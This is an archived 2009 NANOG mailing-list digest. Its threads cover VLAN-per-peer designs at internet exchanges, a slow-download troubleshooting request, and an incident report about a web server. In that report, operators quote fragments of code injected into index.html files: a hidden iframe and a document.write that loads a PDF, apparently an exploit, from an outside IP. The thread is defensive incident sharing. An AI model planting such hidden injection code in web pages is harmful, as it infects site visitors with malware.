accident. On Apr 17, 2009, at 11:52 AM, Paul Vixie wrote: > with the advent of vlan tags, the whole idea of CSMA for IXP > networks is passe. > just put each pair of peers into their own private tagged vlan. I'm not sure whether you're being sarcastic, and if I'm not sure, I bet people who don't know you really aren't sure. So: the only nominal IXP I know of where that's really been experimented with seriously is MYIX, in Kuala Lumpur, where it's been a notable failure. The other 300-and-some IXPs do things normally, with an IX subnet that people can peer across. So, the advent of standardized . 1Q tags in 1998, preceded by ISL for many years before that, has not yet rendered the 99.6% majority best-practice passe. Just a clarification. -Bill -------------- next part -------------- A non-text attachment was scrubbed... Name: PGP.sig Type: application/pgp-signature Size: 194 bytes Desc: This is a digitally signed message part URL: From swmike at swm.pp.se Fri Apr 17 14:06:18 2009 From: swmike at swm.pp.se (Mikael Abrahamsson) Date: Fri, 17 Apr 2009 21:06:18 +0200 (CEST) Subject: IXP In-Reply-To: <49E8D1E5.1070004@nipper.de> References: <20090417142128.GM29526@ronin.4ever.de> <000a01c9bf8b$d1ea4380$0a00000a@nil.si> <49E8D1E5.1070004@nipper.de> Message-ID: On Fri, 17 Apr 2009, Arnold Nipper wrote: > Large IXP have >300 customers. You would need up to 45k vlan tags, > wouldn't you? ... and exchanging multicast would be... err.. suboptimal. -- Mikael Abrahamsson email: swmike at swm.pp.se From kris.foster at gmail.com Fri Apr 17 14:07:27 2009 From: kris.foster at gmail.com (kris foster) Date: Fri, 17 Apr 2009 12:07:27 -0700 Subject: IXP In-Reply-To: <49E8D2EA.4080308@nipper.de> References: <20090417142128.GM29526@ronin.4ever.de> <000a01c9bf8b$d1ea4380$0a00000a@nil.si> <49E8D1E5.1070004@nipper.de> <40ABC7D3-27AF-4028-8412-024A56E20DE7@gmail.com> <49E8D2EA.4080308@nipper.de> Message-ID: <6F555BDA-C657-4FC2-95FC-474ACA5DF87A@gmail.com> On Apr 17, 2009, at 12:05 PM, Arnold Nipper wrote: > On 17.04.2009 21:04 kris foster wrote > >> On Apr 17, 2009, at 12:00 PM, Arnold Nipper wrote: >> >>> On 17.04.2009 20:52 Paul Vixie wrote >>> >>>> with the advent of vlan tags, the whole idea of CSMA for IXP >>>> networks is passe. >>>> just put each pair of peers into their own private tagged vlan and >>>> let one of >>>> them allocate a V4 /30 and a V6 /64 for it. as a bonus, this >>>> prevents third >>>> party BGP (which nobody really liked which sometimes got turned on >>>> by mistake) >>>> and prevents transit dumping and/or "pointing default at" someone. >>>> the IXP no >>>> longer needs any address space, they're just a VPN provider. >>>> shared-switch >>>> connections are just virtual crossconnects. >>> >>> Large IXP have >300 customers. You would need up to 45k vlan tags, >>> wouldn't you? >> >> QinQ could solve this >> > > not really painfully, with multiple circuits into the IX :) I'm not advocating Paul's suggestion at all here Kris From bmanning at vacation.karoshi.com Fri Apr 17 14:44:27 2009 From: bmanning at vacation.karoshi.com (bmanning at vacation.karoshi.com) Date: Fri, 17 Apr 2009 19:44:27 +0000 Subject: IXP - PNI In-Reply-To: <6F555BDA-C657-4FC2-95FC-474ACA5DF87A@gmail.com> References: <20090417142128.GM29526@ronin.4ever.de> <000a01c9bf8b$d1ea4380$0a00000a@nil.si> <49E8D1E5.1070004@nipper.de> <40ABC7D3-27AF-4028-8412-024A56E20DE7@gmail.com> <49E8D2EA.4080308@nipper.de> <6F555BDA-C657-4FC2-95FC-474ACA5DF87A@gmail.com> Message-ID: <20090417194427.GA29684@vacation.karoshi.com.> the vlan tagging idea is a virtualization of the PNI construct. why use an IX when running 10's/100's/1000's of private network interconnects will do? granted, if out of the 120 ASN's at an IX, 100 are exchanging on average - 80KBs - then its likley safe to dump them all into a single physical port and vlan tag the heck out of it. its those other 20 that demand some special care. (welcome to "how to grow your presence at an IX and when to leave"-101 :) --bill From berg at wins.net Fri Apr 17 15:39:06 2009 From: berg at wins.net (Russell Berg) Date: Fri, 17 Apr 2009 15:39:06 -0500 Subject: Malicious code just found on web server Message-ID: We just discovered what we suspect is malicious code appended to all index.html files on our web server as of the 11:00 central time hour today: src="http://77.92.158.122/webmail/inc/web/index.php" style="display: none;" height="0" width="0"> IP address resolves to mail.yaris.com; couldn't find any A/V site references to this. Google search reveals some Chinese sites with references to the URL today, but nothing substantial in the translation. Just a heads up for folks; we have a team investigating... Russell Berg Dir - Product Development Airstream Communications berg at wins.net 715-832-3726 From berg at wins.net Fri Apr 17 15:42:45 2009 From: berg at wins.net (Russell Berg) Date: Fri, 17 Apr 2009 15:42:45 -0500 Subject: Malicious code just found on web server Message-ID: FWIW, 77.92.158.122 resolves to mail.yarisfest.com, not mail.yaris.com -----Original Message----- From: Russell Berg Sent: Friday, April 17, 2009 3:39 PM To: 'nanog at nanog.org' Subject: Malicious code just found on web server We just discovered what we suspect is malicious code appended to all index.html files on our web server as of the 11:00 central time hour today: src="http://77.92.158.122/webmail/inc/web/index.php" style="display: none;" height="0" width="0"> IP address resolves to mail.yaris.com; couldn't find any A/V site references to this. Google search reveals some Chinese sites with references to the URL today, but nothing substantial in the translation. Just a heads up for folks; we have a team investigating... Russell Berg Dir - Product Development Airstream Communications berg at wins.net 715-832-3726 From vixie at isc.org Fri Apr 17 16:06:04 2009 From: vixie at isc.org (Paul Vixie) Date: Fri, 17 Apr 2009 21:06:04 +0000 Subject: IXP In-Reply-To: Your message of "Fri, 17 Apr 2009 21:00:53 +0200." <49E8D1E5.1070004@nipper.de> References: <20090417142128.GM29526@ronin.4ever.de> <000a01c9bf8b$d1ea4380$0a00000a@nil.si> <49E8D1E5.1070004@nipper.de> Message-ID: <50809.1240002364@nsa.vix.com> > Large IXP have >300 customers. You would need up to 45k vlan tags, > wouldn't you? the 300-peer IXP's i've been associated with weren't quite full mesh in terms of who actually wanted to peer with whom, so, no. From ras at e-gerbil.net Fri Apr 17 16:10:32 2009 From: ras at e-gerbil.net (Richard A Steenbergen) Date: Fri, 17 Apr 2009 16:10:32 -0500 Subject: IXP In-Reply-To: <49E8D1E5.1070004@nipper.de> References: <20090417142128.GM29526@ronin.4ever.de> <000a01c9bf8b$d1ea4380$0a00000a@nil.si> <49E8D1E5.1070004@nipper.de> Message-ID: <20090417211032.GN51443@gerbil.cluepon.net> On Fri, Apr 17, 2009 at 09:00:53PM +0200, Arnold Nipper wrote: > Large IXP have >300 customers. You would need up to 45k vlan tags, > wouldn't you? Not only that, but when faced with the requirement of making the vlan IDs match on both sides of the exchange, most members running layer 3 switches with global vlan significance are going to hit major layer 8 hurdles negotiating the available IDs very quickly. A far better way to implement this is with a web portal brokered virtual crossconnect system, which provisions MPLS martini pwe or vpls circuits between members. This eliminates the vlan scaling and clash issues, as it shifts you from as 12-bit identifier to a 32-bit identifier with vlan tag handoffs to the clients being arbitrarily mapped as the client wishes. Such a system has significant advantages over traditional flat layer 2 switches, in things like security, reliability, flexibility, scalability (in members, traffic, and number of locations within the network), and multiservice use (since you can accurately bill with snmp counters per vlan-ID instead of just guestimating w/sflow). Of course trying to deploy such a system in the current IX market space (especially in the US) has its own unique challenges. :) -- Richard A Steenbergen http://www.e-gerbil.net/ras GPG Key ID: 0xF8B12CBC (7535 7F59 8204 ED1F CC1C 53AF 4C41 5ECA F8B1 2CBC) From learn.chandra at gmail.com Fri Apr 17 16:23:07 2009 From: learn.chandra at gmail.com (chandrashakher pawar) Date: Fri, 17 Apr 2009 22:23:07 +0100 Subject: downloading speed Message-ID: Dear Group member, We are level one ISP. one of my customer is connected to fast ethernet. His link speed 100,000 kbps. while downloading any thing from net he downloading speed donot go above 200 kbps. While doing multiple download he get aroung 200 kbps in every window. But when he close all the windows no change in downloading speed is observed. our router is C12KPRP-K4P-M Please advise what could be the cause? -- Regards Chandrashakher Pawar IPNOC Customer & Services Operations Tata communication AS6453 mobil + 91 9225633948 + 91 9324509268 learn.chandra at gmail.com From nuno.vieira at nfsi.pt Fri Apr 17 16:20:16 2009 From: nuno.vieira at nfsi.pt (Nuno Vieira - nfsi telecom) Date: Fri, 17 Apr 2009 22:20:16 +0100 (WEST) Subject: downloading speed In-Reply-To: Message-ID: <421028593.51251240003216760.JavaMail.root@zimbra.nfsi.pt> link speed duplex mismatch ? --- Nuno Vieira nfsi telecom, lda. nuno.vieira at nfsi.pt Tel. (+351) 21 949 2300 - Fax (+351) 21 949 2301 http://www.nfsi.pt/ ----- "chandrashakher pawar" wrote: > Dear Group member, > > We are level one ISP. one of my customer is connected to fast > ethernet. > His link speed 100,000 kbps. while downloading any thing from net he > downloading speed donot go above 200 kbps. > While doing multiple download he get aroung 200 kbps in every window. > But > when he close all the windows no change in downloading speed is > observed. > > our router is C12KPRP-K4P-M > > Please advise what could be the cause? > > -- > Regards > > Chandrashakher Pawar > IPNOC > Customer & Services Operations > Tata communication AS6453 > mobil + 91 9225633948 + 91 9324509268 > learn.chandra at gmail.com From jay at west.net Fri Apr 17 16:28:58 2009 From: jay at west.net (Jay Hennigan) Date: Fri, 17 Apr 2009 14:28:58 -0700 Subject: downloading speed In-Reply-To: References: Message-ID: <49E8F49A.9060402@west.net> chandrashakher pawar wrote: > Dear Group member, > > We are level one ISP. one of my customer is connected to fast ethernet. > His link speed 100,000 kbps. while downloading any thing from net he > downloading speed donot go above 200 kbps. > While doing multiple download he get aroung 200 kbps in every window. But > when he close all the windows no change in downloading speed is observed. > > our router is C12KPRP-K4P-M > > Please advise what could be the cause? Most likely: http://www.google.com/search?q=tcp+tuning Also check for duplex mismatch, cable problems, interface errors, etc. Also verify that you're comparing the same units, bits vs bytes. -- Jay Hennigan - CCIE #7880 - Network Engineering - jay at impulse.net Impulse Internet Service - http://www.impulse.net/ Your local telephone and internet company - 805 884-6323 - WB6RDV From joel.mercado at verizon.net Fri Apr 17 16:30:07 2009 From: joel.mercado at verizon.net (joel.mercado at verizon.net) Date: Fri, 17 Apr 2009 21:30:07 +0000 Subject: downloading speed Message-ID: <330311012-1240003794-cardhu_decombobulator_blackberry.rim.net-1575164121-@bxe1247.bisx.prod.on.blackberry> Bad cable?... What trouble shooting steps have been done? ------Original Message------ From: chandrashakher pawar To: nanog at merit.edu Subject: downloading speed Sent: Apr 17, 2009 5:23 PM Dear Group member, We are level one ISP. one of my customer is connected to fast ethernet. His link speed 100,000 kbps. while downloading any thing from net he downloading speed donot go above 200 kbps. While doing multiple download he get aroung 200 kbps in every window. But when he close all the windows no change in downloading speed is observed. our router is C12KPRP-K4P-M Please advise what could be the cause? -- Regards Chandrashakher Pawar IPNOC Customer & Services Operations Tata communication AS6453 mobil + 91 9225633948 + 91 9324509268 learn.chandra at gmail.com Sent on the Now Network? from my Sprint?? BlackBerry From tony at lava.net Fri Apr 17 16:44:48 2009 From: tony at lava.net (Antonio Querubin) Date: Fri, 17 Apr 2009 11:44:48 -1000 (HST) Subject: IXP - PNI In-Reply-To: <20090417194427.GA29684@vacation.karoshi.com.> References: <20090417142128.GM29526@ronin.4ever.de> <000a01c9bf8b$d1ea4380$0a00000a@nil.si> <49E8D1E5.1070004@nipper.de> <40ABC7D3-27AF-4028-8412-024A56E20DE7@gmail.com> <49E8D2EA.4080308@nipper.de> <6F555BDA-C657-4FC2-95FC-474ACA5DF87A@gmail.com> <20090417194427.GA29684@vacation.karoshi.com.> Message-ID: On Fri, 17 Apr 2009, bmanning at vacation.karoshi.com wrote: > the vlan tagging idea is a virtualization of the PNI construct. > why use an IX when running 10's/100's/1000's of private network > interconnects will do? > > > granted, if out of the 120 ASN's at an IX, 100 are exchanging on > average - 80KBs - then its likley safe to dump them all into a single > physical port and vlan tag the heck out of it. > > its those other 20 that demand some special care. The construct also doesn't scale well for multicast traffic exchange if there's a significant number of multicast peers even though the traffic might be low for individual source ASNs. On the other hand, if the IXP doesn't use IGMP/MLD snooping capable switches, then I suppose it doesn't matter. Antonio Querubin whois: AQ7-ARIN From jgreco at ns.sol.net Fri Apr 17 16:52:53 2009 From: jgreco at ns.sol.net (Joe Greco) Date: Fri, 17 Apr 2009 16:52:53 -0500 (CDT) Subject: IXP - PNI In-Reply-To: from "Antonio Querubin" at Apr 17, 2009 11:44:48 AM Message-ID: <200904172152.n3HLqrgE068260@aurora.sol.net> > On Fri, 17 Apr 2009, bmanning at vacation.karoshi.com wrote: > > the vlan tagging idea is a virtualization of the PNI construct. > > why use an IX when running 10's/100's/1000's of private network > > interconnects will do? > > > > granted, if out of the 120 ASN's at an IX, 100 are exchanging on > > average - 80KBs - then its likley safe to dump them all into a single > > physical port and vlan tag the heck out of it. > > > > its those other 20 that demand some special care. > > The construct also doesn't scale well for multicast traffic exchange if > there's a significant number of multicast peers even though the traffic > might be low for individual source ASNs. On the other hand, if the IXP > doesn't use IGMP/MLD snooping capable switches, then I suppose it doesn't > matter. Didn't we go through all this with ATM VC's at the AADS NAP, etc? ... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net "We call it the 'one bite at the apple' rule. Give me one chance [and] then I won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN) With 24 million small businesses in the US alone, that's way too many apples. From vixie at isc.org Fri Apr 17 16:56:40 2009 From: vixie at isc.org (Paul Vixie) Date: Fri, 17 Apr 2009 21:56:40 +0000 Subject: IXP - PNI In-Reply-To: Your message of "Fri, 17 Apr 2009 11:44:48 -1000." References: <20090417142128.GM29526@ronin.4ever.de> <000a01c9bf8b$d1ea4380$0a00000a@nil.si> <49E8D1E5.1070004@nipper.de> <40ABC7D3-27AF-4028-8412-024A56E20DE7@gmail.com> <49E8D2EA.4080308@nipper.de> <6F555BDA-C657-4FC2-95FC-474ACA5DF87A@gmail.com> <20090417194427.GA29684@vacation.karoshi.com.> Message-ID: <53309.1240005400@nsa.vix.com> > The construct also doesn't scale well for multicast traffic exchange if > there's a significant number of multicast peers even though the traffic > might be low for individual source ASNs. On the other hand, if the IXP > doesn't use IGMP/MLD snooping capable switches, then I suppose it doesn't > matter. the people who do massive volumes of multicast in my experience have also been the ones whose network policies, or unicast traffic volumes, or both, prevented them from joining CSMA peering fabrics. CSMA assumes a large number of small flows, which is not what i see in the multicast market, but i admit that i'm not as involved as i used to be. From surfer at mauigateway.com Fri Apr 17 16:57:14 2009 From: surfer at mauigateway.com (Scott Weeks) Date: Fri, 17 Apr 2009 14:57:14 -0700 Subject: downloading speed Message-ID: <20090417145714.A21DC7D6@resin15.mta.everyone.net> --- learn.chandra at gmail.com wrote: From: chandrashakher pawar We are level one ISP. one of my customer is connected to fast ethernet. His link speed 100,000 kbps. while downloading any thing from net he downloading speed donot go above 200 kbps. While doing multiple download he get aroung 200 kbps in every window. But when he close all the windows no change in downloading speed is observed. --------------------------------------------- You would need to add more info for any meaningful troubleshooting to occur. Do you see errors on the interface? Clear the counters and watch for a while. scott From arnold at nipper.de Fri Apr 17 16:59:15 2009 From: arnold at nipper.de (Arnold Nipper) Date: Fri, 17 Apr 2009 23:59:15 +0200 Subject: IXP In-Reply-To: <50809.1240002364@nsa.vix.com> References: <20090417142128.GM29526@ronin.4ever.de> <000a01c9bf8b$d1ea4380$0a00000a@nil.si> <49E8D1E5.1070004@nipper.de> <50809.1240002364@nsa.vix.com> Message-ID: <49E8FBB3.2080500@nipper.de> On 17.04.2009 23:06 Paul Vixie wrote >> Large IXP have >300 customers. You would need up to 45k vlan tags, >> wouldn't you? > > the 300-peer IXP's i've been associated with weren't quite full mesh > in terms of who actually wanted to peer with whom, so, no. Much depends on your definition of "quite". Would 30% qualify? Arnold -- Arnold Nipper / nIPper consulting, Sandhausen, Germany email: arnold at nipper.de phone: +49 6224 9259 299 mobile: +49 172 2650958 fax: +49 6224 9259 333 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 250 bytes Desc: OpenPGP digital signature URL: From pauldotwall at gmail.com Fri Apr 17 17:00:15 2009 From: pauldotwall at gmail.com (Paul Wall) Date: Fri, 17 Apr 2009 18:00:15 -0400 Subject: downloading speed In-Reply-To: References: Message-ID: <620fd17c0904171500t25aef58ai6ce08f8978018338@mail.gmail.com> On Fri, Apr 17, 2009 at 5:23 PM, chandrashakher pawar wrote: > our router is C12KPRP-K4P-M > > Please advise what could be the cause? Could you perhaps paste the router configuration in your reply? If you could execute a "wr t" or a "show run", that should provide sufficient information for the proper troubleshooting to take place. Thank you. Paul Wall (Drive Slow) From vixie at isc.org Fri Apr 17 17:04:13 2009 From: vixie at isc.org (Paul Vixie) Date: Fri, 17 Apr 2009 22:04:13 +0000 Subject: IXP In-Reply-To: Your message of "Fri, 17 Apr 2009 23:59:15 +0200." <49E8FBB3.2080500@nipper.de> References: <20090417142128.GM29526@ronin.4ever.de> <000a01c9bf8b$d1ea4380$0a00000a@nil.si> <49E8D1E5.1070004@nipper.de> <50809.1240002364@nsa.vix.com> <49E8FBB3.2080500@nipper.de> Message-ID: <53636.1240005853@nsa.vix.com> > > the 300-peer IXP's i've been associated with weren't quite full mesh > > in terms of who actually wanted to peer with whom, so, no. > > Much depends on your definition of "quite". Would 30% qualify? 30% would be an over-the-top success. has anybody ever run out of 1Q tags in an IXP context? From surfer at mauigateway.com Fri Apr 17 17:05:12 2009 From: surfer at mauigateway.com (Scott Weeks) Date: Fri, 17 Apr 2009 15:05:12 -0700 Subject: downloading speed Message-ID: <20090417150512.A21DC6B3@resin15.mta.everyone.net> --- surfer at mauigateway.com wrote: --- learn.chandra at gmail.com wrote: From: chandrashakher pawar While doing multiple download he get aroung 200 kbps in every window. But when he close all the windows no change in downloading speed is observed. --------------------------------------------- You would need to add more info for any meaningful troubleshooting to occur. Do you see errors on the interface? Clear the counters and watch for a while. --------------------------------------------- My apologies. I typed too fast. I didn't absorb this part: "While doing multiple download he get aroung 200 kbps in every window." I assume by "window" you mean a web browser. Does this rate limiting happen with other protocols like FTP? scott From securinate at gmail.com Fri Apr 17 17:06:41 2009 From: securinate at gmail.com (Chris Mills) Date: Fri, 17 Apr 2009 18:06:41 -0400 Subject: Malicious code just found on web server In-Reply-To: References: Message-ID: I took a quick look at the code... formatted it in a pastebin here: http://pastebin.com/m7b50be54 That javascript writes this to the page (URL obscured): document.write(""); The 1.2.3.4 in the URL is my public IP address (I changed that). Below the javascript, it grabs a PDF: That PDF is on the site, I haven't looked at it yet though. -ChrisAM http://securabit.com On Fri, Apr 17, 2009 at 4:42 PM, Russell Berg wrote: > FWIW, 77.92.158.122 resolves to mail.yarisfest.com, not mail.yaris.com > > -----Original Message----- > From: Russell Berg > Sent: Friday, April 17, 2009 3:39 PM > To: 'nanog at nanog.org' > Subject: Malicious code just found on web server > > We just discovered what we suspect is malicious code appended to all index.html files on our web server as of the 11:00 central time hour today: > > src="http://77.92.158.122/webmail/inc/web/index.php" > style="display: none;" height="0" width="0"> > > IP address resolves to mail.yaris.com; couldn't find any A/V site references to this. > > Google search reveals some Chinese sites with references to the URL today, but nothing substantial in the translation. > > Just a heads up for folks; we have a team investigating... > > Russell Berg > Dir - Product Development > Airstream Communications > berg at wins.net > 715-832-3726 > > > > From arnold at nipper.de Fri Apr 17 17:10:41 2009 From: arnold at nipper.de (Arnold Nipper) Date: Sat, 18 Apr 2009 00:10:41 +0200 Subject: IXP In-Reply-To: <53636.1240005853@nsa.vix.com> References: <20090417142128.GM29526@ronin.4ever.de> <000a01c9bf8b$d1ea4380$0a00000a@nil.si> <49E8D1E5.1070004@nipper.de> <50809.1240002364@nsa.vix.com> <49E8FBB3.2080500@nipper.de> <53636.1240005853@nsa.vix.com> Message-ID: <49E8FE61.4030701@nipper.de> On 18.04.2009 00:04 Paul Vixie wrote >>> the 300-peer IXP's i've been associated with weren't quite full >>> mesh in terms of who actually wanted to peer with whom, so, no. >> >> Much depends on your definition of "quite". Would 30% qualify? > > 30% would be an over-the-top success. has anybody ever run out of 1Q > tags in an IXP context? Why? You only need 1 ;-) Arnold -- Arnold Nipper / nIPper consulting, Sandhausen, Germany email: arnold at nipper.de phone: +49 6224 9259 299 mobile: +49 172 2650958 fax: +49 6224 9259 333 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 250 bytes Desc: OpenPGP digital signature URL: From mike at rockynet.com Fri Apr 17 17:11:47 2009 From: mike at rockynet.com (Mike Lewinski) Date: Fri, 17 Apr 2009 16:11:47 -0600 Subject: downloading speed In-Reply-To: References: Message-ID: <49E8FEA3.1020607@rockynet.com> chandrashakher pawar wrote: > We are level one ISP. one of my customer is connected to fast ethernet. > His link speed 100,000 kbps. while downloading any thing from net he > downloading speed donot go above 200 kbps. > While doing multiple download he get aroung 200 kbps in every window. But > when he close all the windows no change in downloading speed is observed. As others have mentioned, duplex mismatch is a good cause. If you have a client with java support, give the NDT a try as this is something it claims to detect: http://ndt.anl.gov:7123/ There's a master site list available here so you may wish to find a closer test site: http://e2epi.internet2.edu/ndt/ndt-server-list.html Caveat: I think most of them are Internet2 only. I know the ANL and CERN sites are accessible to us but didn't try them all. Mike From bmanning at vacation.karoshi.com Fri Apr 17 17:12:15 2009 From: bmanning at vacation.karoshi.com (bmanning at vacation.karoshi.com) Date: Fri, 17 Apr 2009 22:12:15 +0000 Subject: IXP - PNI In-Reply-To: <200904172152.n3HLqrgE068260@aurora.sol.net> References: <200904172152.n3HLqrgE068260@aurora.sol.net> Message-ID: <20090417221215.GA30773@vacation.karoshi.com.> On Fri, Apr 17, 2009 at 04:52:53PM -0500, Joe Greco wrote: > > On Fri, 17 Apr 2009, bmanning at vacation.karoshi.com wrote: > > > the vlan tagging idea is a virtualization of the PNI construct. > > > why use an IX when running 10's/100's/1000's of private network > > > interconnects will do? > > > > > > granted, if out of the 120 ASN's at an IX, 100 are exchanging on > > > average - 80KBs - then its likley safe to dump them all into a single > > > physical port and vlan tag the heck out of it. > > > > > > its those other 20 that demand some special care. > > > > The construct also doesn't scale well for multicast traffic exchange if > > there's a significant number of multicast peers even though the traffic > > might be low for individual source ASNs. On the other hand, if the IXP > > doesn't use IGMP/MLD snooping capable switches, then I suppose it doesn't > > matter. > > Didn't we go through all this with ATM VC's at the AADS NAP, etc? > > ... JG yes indeed. --bill From fergdawgster at gmail.com Fri Apr 17 17:15:52 2009 From: fergdawgster at gmail.com (Paul Ferguson) Date: Fri, 17 Apr 2009 15:15:52 -0700 Subject: Malicious code just found on web server In-Reply-To: References: Message-ID: <6cd462c00904171515hc59181amd7127016e927dd32@mail.gmail.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Fri, Apr 17, 2009 at 3:06 PM, Chris Mills wrote: > I took a quick look at the code... formatted it in a pastebin here: > http://pastebin.com/m7b50be54 > > That javascript writes this to the page (URL obscured): > document.write(" src=\"hXXp://77.92.158.122/webmail/inc/web/include/spl.php?stat=Unknown|U > nknown|US|1.2.3.4\" width=\"0\" height=\"0\" > type=\"application/pdf\">"); > > The 1.2.3.4 in the URL is my public IP address (I changed that). > > Below the javascript, it grabs a PDF: > style="border:none"> > > That PDF is on the site, I haven't looked at it yet though. > Most likely a file that exploits a well-known vulnerability in Adobe Reader, which in turn probably loads malware from yet another location. We've been seeing a lot of this lately. - - ferg -----BEGIN PGP SIGNATURE----- Version: PGP Desktop 9.5.3 (Build 5003) wj8DBQFJ6P+Oq1pz9mNUZTMRAgINAJ9nFvTfdP0nNB5IXGCR5U5MKvbBxwCgoZQZ 1dYwVrqBqq9k7RVzAhXtYMY= =bmbW -----END PGP SIGNATURE----- -- "Fergie", a.k.a. Paul Ferguson Engineering Architecture for the Internet fergdawgster(at)gmail.com ferg's tech blog: http://fergdawg.blogspot.com/ From learn.chandra at gmail.com Fri Apr 17 17:21:05 2009 From: learn.chandra at gmail.com (chandrashakher pawar) Date: Fri, 17 Apr 2009 23:21:05 +0100 Subject: downloading speed In-Reply-To: <20090417145714.A21DC7D6@resin15.mta.everyone.net> References: <20090417145714.A21DC7D6@resin15.mta.everyone.net> Message-ID: Configuration ================================ sh run interface FastEthernet1/3/1 Building configuration... Current configuration : 351 bytes ! interface FastEthernet1/3/1 description CUST:xxx bandwidth 100000 ip address 116.0.85.13 255.255.255.252 no ip redirects no ip directed-broadcast load-interval 30 negotiation auto no cdp enable end ======== No errors on the interface. none of our customer on this router has complait us this issue i have changed this to "negotiation auto" as suggested by one of our member. tommorow customer will test again and reply. round-trip-time is good, no bacbone chocked. Unit will not make bit differnce as: The customer tried troubleshooting the issue after connecting laptop directily to the 100 mbps link. In that case also the result was same. Regards Chandrashakher Pawar IPNOC Customer & Services Operations Tata communication AS6453 mobil + 91 9225633948 + 91 9324509268 learn.chandra at gmail.com On Fri, Apr 17, 2009 at 10:57 PM, Scott Weeks wrote: > > > --- learn.chandra at gmail.com wrote: > From: chandrashakher pawar > > We are level one ISP. one of my customer is connected to fast ethernet. > His link speed 100,000 kbps. while downloading any thing from net he > downloading speed donot go above 200 kbps. > While doing multiple download he get aroung 200 kbps in every window. But > when he close all the windows no change in downloading speed is observed. > --------------------------------------------- > > > You would need to add more info for any meaningful troubleshooting to > occur. Do you see errors on the interface? Clear the counters and watch > for a while. > > scott > > -------------- next part -------------- A non-text attachment was scrubbed... Name: spped.JPG Type: image/jpeg Size: 21935 bytes Desc: not available URL: From mike.lyon at gmail.com Fri Apr 17 17:27:25 2009 From: mike.lyon at gmail.com (Mike Lyon) Date: Fri, 17 Apr 2009 15:27:25 -0700 Subject: downloading speed In-Reply-To: References: <20090417145714.A21DC7D6@resin15.mta.everyone.net> Message-ID: <1b5c1c150904171527o6e029c19x7a2f67bc458cf06c@mail.gmail.com> Have him do a traceroute from his PC or router to where he is trying to download from. Where is it choking? On Fri, Apr 17, 2009 at 3:21 PM, chandrashakher pawar < learn.chandra at gmail.com> wrote: > Configuration > ================================ > sh run interface FastEthernet1/3/1 > Building configuration... > Current configuration : 351 bytes > ! > interface FastEthernet1/3/1 > description CUST:xxx > bandwidth 100000 > ip address 116.0.85.13 255.255.255.252 > no ip redirects > no ip directed-broadcast > load-interval 30 > negotiation auto > no cdp enable > end > ======== > No errors on the interface. > none of our customer on this router has complait us this issue > i have changed this to "negotiation auto" as suggested by one of our > member. > tommorow customer will test again and reply. > round-trip-time is good, no bacbone chocked. > Unit will not make bit differnce as: The customer tried troubleshooting the > issue after connecting laptop directily to the 100 mbps link. > In that case also the result was same. > > Regards > Chandrashakher Pawar > IPNOC > Customer & Services Operations > Tata communication AS6453 > mobil + 91 9225633948 + 91 9324509268 > learn.chandra at gmail.com > > > > > > > > On Fri, Apr 17, 2009 at 10:57 PM, Scott Weeks >wrote: > > > > > > > --- learn.chandra at gmail.com wrote: > > From: chandrashakher pawar > > > > We are level one ISP. one of my customer is connected to fast ethernet. > > His link speed 100,000 kbps. while downloading any thing from net he > > downloading speed donot go above 200 kbps. > > While doing multiple download he get aroung 200 kbps in every window. But > > when he close all the windows no change in downloading speed is observed. > > --------------------------------------------- > > > > > > You would need to add more info for any meaningful troubleshooting to > > occur. Do you see errors on the interface? Clear the counters and watch > > for a while. > > > > scott > > > > > From fergdawgster at gmail.com Fri Apr 17 17:31:21 2009 From: fergdawgster at gmail.com (Paul Ferguson) Date: Fri, 17 Apr 2009 15:31:21 -0700 Subject: Malicious code just found on web server In-Reply-To: <6cd462c00904171515hc59181amd7127016e927dd32@mail.gmail.com> References: <6cd462c00904171515hc59181amd7127016e927dd32@mail.gmail.com> Message-ID: <6cd462c00904171531y5aafa1e3y34022919b58e11db@mail.gmail.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Fri, Apr 17, 2009 at 3:15 PM, Paul Ferguson wrote: > > On Fri, Apr 17, 2009 at 3:06 PM, Chris Mills > wrote: > >> I took a quick look at the code... formatted it in a pastebin here: >> http://pastebin.com/m7b50be54 >> >> That javascript writes this to the page (URL obscured): >> document.write("> src=\"hXXp://77.92.158.122/webmail/inc/web/include/spl.php?stat=Unknown| >> U nknown|US|1.2.3.4\" width=\"0\" height=\"0\" >> type=\"application/pdf\">"); >> >> The 1.2.3.4 in the URL is my public IP address (I changed that). >> >> Below the javascript, it grabs a PDF: >> > style="border:none"> >> >> That PDF is on the site, I haven't looked at it yet though. >> > > Most likely a file that exploits a well-known vulnerability in Adobe > Reader, which in turn probably loads malware from yet another location. > > We've been seeing a lot of this lately. > Yes, definitely malicious: http://www.virustotal.com/analisis/89db7dec6cc786227462c947e4cb4a9b - - ferg -----BEGIN PGP SIGNATURE----- Version: PGP Desktop 9.5.3 (Build 5003) wj8DBQFJ6QMwq1pz9mNUZTMRAqJZAKCEkD0KcifnJIhtex4nP6grIFGKzwCgnE1w /K0hKsJiAz4RGu8VQkyP+js= =AzJq -----END PGP SIGNATURE----- -- "Fergie", a.k.a. Paul Ferguson Engineering Architecture for the Internet fergdawgster(at)gmail.com ferg's tech blog: http://fergdawg.blogspot.com/ From securinate at gmail.com Fri Apr 17 17:34:54 2009 From: securinate at gmail.com (Chris Mills) Date: Fri, 17 Apr 2009 18:34:54 -0400 Subject: Malicious code just found on web server In-Reply-To: <6cd462c00904171531y5aafa1e3y34022919b58e11db@mail.gmail.com> References: <6cd462c00904171515hc59181amd7127016e927dd32@mail.gmail.com> <6cd462c00904171531y5aafa1e3y34022919b58e11db@mail.gmail.com> Message-ID: You beat me to it. -ChrisAM On Fri, Apr 17, 2009 at 6:31 PM, Paul Ferguson wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On Fri, Apr 17, 2009 at 3:15 PM, Paul Ferguson > wrote: > >> >> On Fri, Apr 17, 2009 at 3:06 PM, Chris Mills >> wrote: >> >>> I took a quick look at the code... formatted it in a pastebin here: >>> http://pastebin.com/m7b50be54 >>> >>> That javascript writes this to the page (URL obscured): >>> document.write(">> src=\"hXXp://77.92.158.122/webmail/inc/web/include/spl.php?stat=Unknown| >>> U nknown|US|1.2.3.4\" width=\"0\" height=\"0\" >>> type=\"application/pdf\">"); >>> >>> The 1.2.3.4 in the URL is my public IP address (I changed that). >>> >>> Below the javascript, 